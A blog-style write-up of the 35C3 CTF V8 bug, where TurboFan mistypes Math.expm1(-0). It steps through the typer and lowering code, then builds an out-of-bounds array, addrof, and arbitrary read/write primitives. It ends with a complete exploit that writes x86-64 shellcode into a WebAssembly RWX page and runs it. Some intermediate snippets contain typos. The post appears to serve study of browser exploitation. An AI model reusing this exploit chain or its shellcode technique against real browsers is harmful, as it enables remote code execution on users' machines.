← Back

expm1-35C3 - Bug/ Optimizations Analysis

expm1-35C3 - Bug/ Optimizations Analysis cover image
February 19, 2024 10 min read
math.expm1 typer OOB

In this post, we’ll dive deep into a fascinating bug in the V8 JavaScript engine that arises from the mishandling of the Math.expm1(-0) function during the optimization process.

We'll break down how this edge case is misoptimized by V8's Turbofan compiler, explore the root cause of the issue, and demonstrate how this leads to unexpected behavior.

For context, we’ll focus on the technical aspects surrounding the typer phase and its consequences for browser exploitation. PS: This is more or less my notes, So if there is any errors/false observations please bear with it and ping me on discord (tourpran).

Background on Math.expm1

The Math.expm1(x) function calculates e^x - 1 with improved precision for small values of x. For example:

This distinction is significant in JavaScript, where 0 and -0 behave differently in equality comparisons and mathematical operations. According to the ECMAScript specification, Math.expm1(-0) should return -0, but a bug in V8's optimization pipeline causes it to be incorrectly handled.

Expected Behavior of Math.expm1(-0)

The ECMAScript spec mandates that Math.expm1(-0) must return -0. This behavior is critical when dealing with negative zero in JavaScript. Here’s why:

Understanding the bug:

The typer processes the code by executing several phases:

Object.is()

1- Initial Phase:

initial

2- Typed Optimization:

else if (lhs_type.Is(Type::MinusZero())) {
    // SameValue(x:minus-zero,y) => ObjectIsMinusZero(y)
    node->RemoveInput(0);
    NodeProperties::ChangeOp(node, simplified()->ObjectIsMinusZero());
    return Changed(node);
  } else if (rhs_type.Is(Type::MinusZero())) {
    // SameValue(x,y:minus-zero) => ObjectIsMinusZero(x)
    node->RemoveInput(1);
    NodeProperties::ChangeOp(node, simplified()->ObjectIsMinusZero());
    return Changed(node);
  }

idek1

3- Simplified Lowering:

case IrOpcode::kObjectIsMinusZero: 
Type const input_type = GetUpperBound(node->InputAt(0));
if (input_type.Is(Type::MinusZero())) {
    VisitUnop(node, UseInfo::None(), MachineRepresentation::kBit);
    if (lower()) {
    DeferReplacement(node, lowering->jsgraph()->Int32Constant(1));
    }
}

Patch and Bug Details:

ide

This patch addresses the issue in typer.cc, but a more comprehensive solution requires changes in other parts of the type system to fully fix the handling of -0 in Math.expm1.

Pipeline of TurboFan:

Pipeline of TurboFan

TurboFan’s pipeline consists of multiple phases that optimize and lower JavaScript code into highly optimized machine code. The key stages include type inference, node optimization (such as SameValue being converted to checks like ObjectIsMinusZero), and various lowering phases that simplify and optimize the code.

Typer Phase:

Type Lowering:

Escape analysis:

function f() {
  let o = {a: 5};
  return o.a;
}

Clearly, it can be rewritten as:

function f() {
  let 0. a = 5;
  return o_a;
}

Great Video on Escape Analysis

Additional Optimizations

Exploitation:

79: CheckBounds[VectorSlotPair(INVALID)] (#125:NumberMultiply, #58:NumberConstant, #45:Checkpoint, #43:Call) [Static type: Range(0, 4), Feedback type: Range(0, 0)]

idekde

OOB Array Creation:

function addrof(x, i = 1) {
    let a = [1.1, 2.2, 3.3];
    let b = [5.5, 5.5, 5.5, 5.5, 5.5];
    let o = { m: -0 };
    let t = Object.is(Math.expm1(x), o.m) + 0;
    t *= (i + 0); // Convert i to an integral type.
    let val = a[t];
    oob_rw_buffer = b;
    return val;
}

Leaks of the current state:

3) int: 0x7a7e2501459
4) int: 0x500000000
5) int: 0x4016000000000000
6) int: 0x4016000000000000
7) int: 0x4016000000000000
8) int: 0x4016000000000000
9) int: 0x4016000000000000
10) int: 0x375928582cf9    - (map of b)
11) int: 0x7a7e2500c21     - (property of b)
12) int: 0x65ad13cc1c9     - (element backing pointer of b)
13) int: 0x500000000       - (length field)
14) int: 0x7a7e2500561
15) int: 0x8000000000000000
16) int: 0x3ff199999999999a
17) int: 0x3ff199999999999a
18) int: 0x3ff199999999999a
19) int: 0x3ff199999999999a

Addrof Primitive:

let oob_rw_buffer = undefined;
let aux_arr = undefined;
function addrof(obj){
  aux_arr[0] = obj;
  return oob_rw_buffer[0x12];
}
function stagel(x, i=1){
  let a = [1.1, 2.2, 3.3];
  let b = [5.5, 5.5, 5.5, 5.5, 5.5];
  let c = [{}, 1, 2];
  let o = {m: -0};
  let t = Object.is(Math.expml(x), o.m) + 0;  // trigger the bug.
  t *= (i+0);                                 // i to inegral.
  a[t] = 1024*1024;
  oob_rw_buffer = b;                          // expose b to global scope
  aux arr = c;
  return 0;
}

Arb Read / Arb Write:

function arb_write(addr, val) {
    oob_rw_buffer[diff / 8n] = addr.i2f();
    dv.setBigUint64(0, val, true);
}
function arb_read(addr) {
    oob_rw_buffer[diff / 8n] = addr.i2f();
    return dv.getBigUint64(0, true);
}

Final Exploit:

This is the final exploit I've developed, ready to target the V8 engine. However, to ensure reliability for Chrome, I need to correct the objects I corrupted and proceed with caution. If we manage to escape the Chrome sandbox, it’s game over.

// ------------------------------------------------ Utility- Functions ------------------------------------------------ //
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
  return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
  int_view[0] = this;
  return float_view[0];
}
BigInt.prototype.smi2f = function() {
  int_view[0] = this << 32n;
  return float_view[0];
}
Number.prototype.f2i = function() {
  float_view[0] = this;
  return int_view[0];
}
Number.prototype.f2smi = function() {
  float_view[0] = this;
  return int_view[0] >> 32n;
}
Number.prototype.i2f = function() {
  return BigInt(this).i2f();
}
Number.prototype.smi2f = function() {
  return BigInt(this).smi2f();
}

// ----------------------------------------------- Starting the exploit ----------------------------------------------- //

let oob_rw_buffer = undefined;
let aux_arr = undefined;

function addrof(obj){
    aux_arr[0] = obj;
    return oob_rw_buffer[0x12];
}

function stage1(x, i=1){
    let a = [1.1, 2.2, 3.3];
    let b = [5.5, 5.5, 5.5, 5.5, 5.5];
    let c = [{}, 1, 2];
    let o = {m: -0};
    let t = Object.is(Math.expm1(x), o.m) + 0; // trigger the bug.
    t *= (i+0); // i to inegral.
    a[t] = 1024*1024;
    oob_rw_buffer = b; // expose b to global scope
    aux_arr = c;
    return 0;
  }

stage1(0);
for(let i=0;i<100000;i++){
    stage1("0");
}
stage1(-0, 13); // get the OOB array.
console.log("[+] Stage 1: Obtained a OOB array");

// Stage 2
function arb_write(addr, val){
  oob_rw_buffer[diff/8n] = addr.i2f();
  dv.setUint32(0, val, true);
}

function arb_read(addr){
  oob_rw_buffer[diff/8n] = addr.i2f();
  return dv.getBigUint64(0, true);
}

function shell_write(addr, shellcode){
  for(let i=0;i<shellcode.length;i++){
    arb_write(addr+BigInt(4*i), shellcode[i]);
  }
}
let buf = new ArrayBuffer(0x100);
let dv = new DataView(buf);

buf_addr = addrof(buf).f2i();
oob_addr = addrof(oob_rw_buffer).f2i();
let diff = buf_addr-oob_addr+72n; //from the OOB array to array buffer 

console.log("[+] ArrayBuffer addr: " + buf_addr.hex());
console.log("[+] Offset btw oob and arraybuffer: " + diff);


// wasm for RWS shellcode
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;

var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];

rwx = arb_read(addrof(wasmInstance).f2i() +0x00e8n -1n);
console.log("[+] Got the Address of RWX segment: " + rwx.hex());
shell_write(rwx, shellcode);
func(); 

To get the follow files, you can visit here.

Debugging Tools: